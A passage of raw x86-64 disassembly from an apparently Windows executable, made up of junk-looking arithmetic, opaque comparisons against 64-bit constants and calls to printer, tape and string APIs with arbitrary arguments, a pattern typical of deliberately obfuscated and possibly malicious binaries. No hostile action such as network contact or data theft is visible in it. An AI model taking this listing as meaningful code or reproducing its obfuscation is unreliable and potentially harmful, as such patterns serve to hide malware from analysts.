mov word [rcx], ax
movzx eax, byte [rsp + 0xe0]
add eax, 4
mov byte [rsp + 0xe2], al
lea rdx, [rsp + 0x3578]
mov rcx, qword [rsp + 0x3578]
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov dword [rsp + 0x1be4], eax
movsx eax, byte [rsp + 0xe1]
sub eax, 0x5e
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
jmp 0x14005574b
lea rax, [rsp + 0x3508]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34d0]
lea r8, [rsp + 0x148c0]
mov edx, 0xf8
mov rcx, qword [rsp + 0x3580]
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [rsp + 0x1bc4], eax
jmp 0x140055769
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bb8], eax
mov dword [rsp + 0x1be8], 0x2691
movzx eax, word [rsp + 0x7b4]
mov dword [rsp + 0x1bec], eax
cmp dword [rsp + 0x1bec], 0x6d3
je 0x140055795
jmp 0x1400558be
mov eax, dword [rsp + 0x1ba8]
movzx ecx, al
mov eax, dword [rsp + 0x1bac]
sar eax, cl
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe0]
mov byte [rsp + 0x1bf0], al
cmp byte [rsp + 0x1bf0], 0xa4
je 0x1400557cd
jmp 0x1400557f3
mov word [rsp + 0x20], 0x7a
movzx r9d, byte [rsp + 0xe2]
mov r8w, 0xcd
mov edx, dword [rsp + 0x1bb8]
mov cx, 0xcd
call fcn.1401308e0
nop
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
or eax, 0x62
movsx ecx, byte [rsp + 0xe1]
cmp eax, ecx
jl 0x14005587a
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x7b4], ax
mov dword [rsp + 0x28], 9
lea rax, str.deplores_Deterring
mov qword [rsp + 0x20], rax
mov r9d, 0x98
lea r8, str.Hypercube_lebanon_flights
mov edx, 0x30
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [rsp + 0x1ba8], eax
movsx eax, byte [rsp + 0xe1]
add eax, 0x7e
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
jmp 0x14012ed47
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3178]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3280], rax
mov dword [rsp + 0x1bf4], 0x854e
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1bc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bf8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe0]
add eax, 0x45
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [0x14017c008]
shl rax, 0x3a
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x34c8]
mov qword [rsp + 0x3588], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3588]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3178], rax
mov eax, dword [rsp + 0x1bb0]
sub eax, 0xf8
mov dword [rsp + 0x1bb0], eax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1bf8]
mov ecx, dword [rsp + 0x1ba8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
add eax, 0x2a
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
add eax, 0x4a
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1bb8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3178]
mov rcx, qword [rsp + 0x3528]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1ba8], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
xor eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
shl eax, cl
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
or eax, 9
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
cmp dword [rsp + 0x1bb0], 0x87e3
jae 0x1400558e7
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
sar eax, cl
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
cmp dword [rsp + 0x1ba4], 0x6d0a
jbe 0x140055e12
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1ba4]
sub eax, 0x81
mov dword [rsp + 0x1ba4], eax
movabs rax, 0xbcd79bb70a597c1f
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov eax, dword [rsp + 0x1bac]
mov dword [rsp + 0x1bf8], eax
mov eax, dword [rsp + 0x1bf8]
mov ecx, dword [rsp + 0x1ba8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bf8]
mov ecx, dword [rsp + 0x1ba8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe0]
add eax, 0x7d
mov byte [rsp + 0xe2], al
movabs rax, 0x14b1111af18c46eb
mov rcx, qword [0x14017c008]
sub rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
movsx eax, byte [rsp + 0xe1]
xor eax, 0x2f
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bc4]
movzx ecx, al
mov eax, dword [rsp + 0x1bb8]
shl eax, cl
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3528]
mov rcx, qword [rsp + 0x34c8]
mov qword [rsp + 0x3590], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3590]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bf8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bf8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xe1]
add eax, 0x5d
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
jmp 0x140055bc1
movsx eax, byte [rsp + 0xe1]
add eax, 0x31
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1b98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xe1]
and eax, 0x55
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ba8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bf8], eax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3178]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
sub eax, 0xd
mov byte [rsp + 0xe1], al
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
sar eax, 2
mov byte [rsp + 0xe1], al
mov eax, dword [rsp + 0x1bf8]
mov ecx, dword [rsp + 0x1bac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bf8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe0]
add eax, 0x93
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1b98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3178]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3508], rax
movzx eax, byte [rsp + 0xe2]
sub eax, 0x66
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3508]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1bc8]
add eax, 0xe0
mov dword [rsp + 0x1bc8], eax
movsx eax, byte [rsp + 0xe1]
add eax, 0x50
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movabs rax, 0x595d3e939c31f983
mov rcx, qword [0x14017c008]
sub rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov eax, dword [rsp + 0x1bac]
movzx ecx, al
mov eax, dword [rsp + 0x1ba8]
shl eax, cl
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov dword [rsp + 0x1bc4], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
sar eax, 2
mov byte [rsp + 0xe1], al
cmp dword [rsp + 0x1bc8], 0x87f3
jne 0x140055e12
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3508]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3280], rax
mov eax, dword [rsp + 0x1bac]
mov ecx, dword [rsp + 0x1ba8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xe1]
add eax, 0x3b
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bac]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
sub eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
movabs rax, 0x6ce4a1508994780a
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1bc4], eax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3528]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
sub eax, 0x1a
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bf8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1ba8], eax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
and eax, 0x18
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bac]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x34c8]
mov qword [rsp + 0x3598], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3598]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1bac], eax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1bb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1ba0]
add eax, 0xa
mov dword [rsp + 0x1ba0], eax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
cmp dword [rsp + 0x1ba0], 0x42e0
jbe 0x140056077
lea rax, [rsp + 0xe1]
mov qword [rsp + 0x35a0], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x35a8], rax
cmp dword [rsp + 0x1bbc], 0x3317
jae 0x1400567b2
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
movabs rax, 0x5875814d73e1c4c0
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1bac], eax
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1bc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1bb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3280]
mov rcx, qword [rsp + 0x3508]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1b98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0xe0]
shl eax, cl
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1bb8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bf8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1b98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3280]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3508], rax
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe2]
add eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
movabs rax, 0x57c3014a2d02f0b8
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1bf8]
shl eax, cl
mov dword [rsp + 0x1ba8], eax
mov eax, dword [rsp + 0x1b98]
mov ecx, dword [rsp + 0x1bc4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3280]
movzx ecx, al
mov rax, qword [rsp + 0x3178]
sar rax, cl
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ba8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bf8], eax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
sub eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
movabs rax, 0x19506d8e91e22a4a
mov rcx, qword [0x14017c008]
and rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x3528]
mov rcx, qword [rsp + 0x3178]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3280], rax
mov eax, dword [rsp + 0x1bac]
mov ecx, dword [rsp + 0x1ba8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3528]
mov rcx, qword [rsp + 0x3280]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1bbc]
add eax, 0xce
mov dword [rsp + 0x1bbc], eax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
or eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe1], al
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe2]
shl eax, cl
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
jmp 0x14005630c
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe0]
cdq
idiv ecx
movzx ecx, byte [rsp + 0xe2]
cmp eax, ecx
jl 0x140056817
mov r9d, 0xb7
mov r8d, 0xb6
mov edx, 0xc9
mov rcx, qword [rsp + 0x35b0]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x35b8], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bf8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [0x14017c008]
mov qword [rsp + 0x35c0], rax
movabs rax, 0x1910200681202a02
cmp qword [rsp + 0x35c0], rax
je 0x1400568f9
movabs rax, 0x52c052efa21ee0b5
cmp qword [rsp + 0x35c0], rax
je 0x140056857
jmp 0x140056a9c
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov dword [rsp + 0x1bfc], eax
cmp dword [rsp + 0x1bfc], 0x635
je 0x140056885
cmp dword [rsp + 0x1bfc], 0xb40
je 0x1400568b4
jmp 0x1400568f4
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bc4], eax
mov rax, qword [rsp + 0x3560]
movzx ecx, word [rax]
call fcn.1401302a0
nop
jmp 0x1400568f4
mov rax, qword [rsp + 0x3528]
mov rcx, qword [rsp + 0x3280]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe1], al
jmp 0x140056a9c
lea rax, [rsp + 0xe2]
mov qword [rsp + 0x35c8], rax
movzx eax, byte [rsp + 0xe0]
mov byte [rsp + 0x1c00], al
cmp byte [rsp + 0x1c00], 0x24
je 0x140056a48
cmp byte [rsp + 0x1c00], 0xc0
je 0x140056935
jmp 0x140056a9c
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov byte [rsp + 0xe3], al
mov eax, 0x492e
mov word [rsp + 0x7bc], ax
movzx eax, word [rsp + 0x7b4]
mov dword [rsp + 0x1c04], eax
cmp dword [rsp + 0x1c04], 0
je 0x140056996
cmp dword [rsp + 0x1c04], 0x6b8
je 0x140056a29
jmp 0x140056a46
lea rax, [rsp + 0xe1]
mov qword [rsp + 0x35d0], rax
mov dword [rsp + 0x1c08], 0x9eb0
movzx eax, byte [rsp + 0xe1]
mov byte [rsp + 0x1c0c], al
cmp byte [rsp + 0x1c0c], 4
je 0x1400569cc
jmp 0x140056a27
mov r9d, 0xee
lea r8, [rsp + 0x7bc]
mov edx, 0x3f
mov rcx, qword [rsp + 0x35d8]
call sub.WINSPOOL.DRV_SetPrinterA
mov dword [rsp + 0x1be4], eax
movzx eax, word [rsp + 0x7bc]
mov word [rsp + 0x20], ax
movzx r9d, byte [rsp + 0xe3]
movzx r8d, word [rsp + 0x7bc]
mov edx, dword [rsp + 0x1b98]
movzx ecx, word [rsp + 0x7bc]
call fcn.1401308e0
nop
jmp 0x140056a46
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
jmp 0x140056a9c
lea rax, [rsp + 0x1ba8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x34c0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x9d
lea rax, [rsp + 0x35e0]
mov qword [rsp + 0x20], rax
mov r9d, 0x31
mov r8d, 0xfb
mov edx, 0x64
mov rcx, qword [rsp + 0x35d8]
call sub.WINSPOOL.DRV_EnumJobsA
mov dword [rsp + 0x1bd4], eax
mov dword [rsp + 0x1c10], 0x4078
mov rax, qword [rsp + 0x3528]
mov qword [rsp + 0x35e8], rax
cmp qword [rsp + 0x35e8], 0
je 0x140056bb7
movabs rax, 0x6569af7647dd801f
cmp qword [rsp + 0x35e8], rax
je 0x140056adf
jmp 0x14012ed0d
mov r8, qword [rsp + 0x35f0]
mov rdx, qword [rsp + 0x35f8]
mov rcx, qword [rsp + 0x3600]
call sub.WINSPOOL.DRV_ConfigurePortA
mov dword [rsp + 0x1c14], eax
mov eax, dword [rsp + 0x1bac]
mov ecx, dword [rsp + 0x1bf8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
movsx eax, word [rsp + 0x7bc]
